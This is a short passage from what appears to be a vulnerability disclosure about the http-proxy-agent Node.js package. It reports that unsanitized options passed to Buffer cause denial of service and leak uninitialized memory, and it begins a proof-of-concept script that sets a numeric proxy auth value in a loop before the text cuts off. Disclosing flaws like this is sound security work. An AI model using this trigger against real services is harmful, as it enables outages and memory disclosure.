`http-proxy-agent` passes unsanitized options to Buffer(arg), resulting in DoS and uninitialized memory leak

I would like to report a Buffer allocation vulnerability in `http-proxy-agent`.

var url = require('url');
var http = require('http');
var HttpProxyAgent = require('http-proxy-agent');

var proxy = {
  protocol: 'http:',
  host: "127.0.0.1",
  port: 8080
};

setInterval(() => {
  proxy.auth = 1e9; // a number as 'auth'
  var opts = url.parse('http://example.com/');
  var agent …